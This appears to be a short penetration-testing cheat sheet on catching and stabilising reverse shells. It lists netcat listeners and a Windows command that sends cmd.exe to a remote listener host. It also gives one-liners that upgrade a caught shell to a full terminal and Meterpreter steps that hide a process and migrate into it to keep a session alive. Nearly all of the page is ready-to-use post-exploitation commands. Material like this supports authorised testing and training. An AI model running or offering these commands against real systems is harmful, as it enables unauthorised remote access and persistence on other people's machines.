๐Ÿš Shell Stabilization

See also: payloads-shells (building payloads) ยท file-transfer.

Listeners

rlwrap nc -nlvp 4444          # arrow keys / Ctrl-A history in the caught shell
nc -nvlp 8000
nc L_HOST L_PORT -e cmd.exe   # Windows side

Upgrade a dumb shell to a full TTY

# 1. spawn a PTY
/usr/bin/python3 -c "import pty; pty.spawn('/bin/bash')"
python -c "import pty; pty.spawn('/bin/bash')"
script /dev/null -c bash
# 2. set a sane terminal
export TERM=xterm
# 3. background with Ctrl+Z, then hand the terminal back:
stty raw -echo ; fg

If the shell has no PATH

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Keep a dying shell alive (Meterpreter)

execute -H -f notepad
migrate <PID>